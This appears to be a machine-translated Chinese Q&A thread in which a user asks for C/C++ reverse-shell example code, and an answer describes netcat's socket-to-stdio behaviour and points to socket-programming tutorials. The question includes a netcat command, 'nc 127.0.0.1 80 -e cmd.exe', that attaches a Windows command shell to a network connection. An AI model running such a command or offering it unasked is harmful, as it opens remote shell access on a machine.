我正在尝试在C或C ++中找到一个基本的反向shell示例,
基本上我想编写一个代码来模拟以下netcat场景:
Listener:
------------------
C:\nc -L -p 80
Client
--------------
C:\nc 127.0.0.1 80 -e cmd.exe
谁不会说netcat:
这意味着我想将std和stdout从cmd.exe重定向到网络的流进出。 因此,远程控制台中的用户可以从远程计算机运行cmd.exe。
我正在寻找C / C ++示例代码来执行此操作吗?
答案 0 :(得分:2)
netcat
基本上是接受(当充当服务器时)或打开(当充当客户端时)套接字的东西。键入stdin
的任何内容都将写入套接字。从套接字读取的任何内容都写入stdout
。任何错误都会写入stderr
。
这是基础知识。看起来您在Windows上使用它并将标准IO附加到命令shell。我不确定为什么/这对你有什么用,所以我现在要忽略它。
无论如何,你需要做的是编写一个接受/打开套接字的应用程序,写入......等等......(见第1段)。
网上有很多东西可以解释如何做到这一点。你的问题的最终答案取决于你为什么要这样做(即为什么不只是使用netcat
),你是否想要一个很好的POSIX兼容的应用程序,可以在任何平台上构建或只有Windows(也许是使用Windows UI组件)和其他注意事项。
我建议您首先在Google上搜索socket programming in c,socket programming in c++或Windows socket programming之类的内容。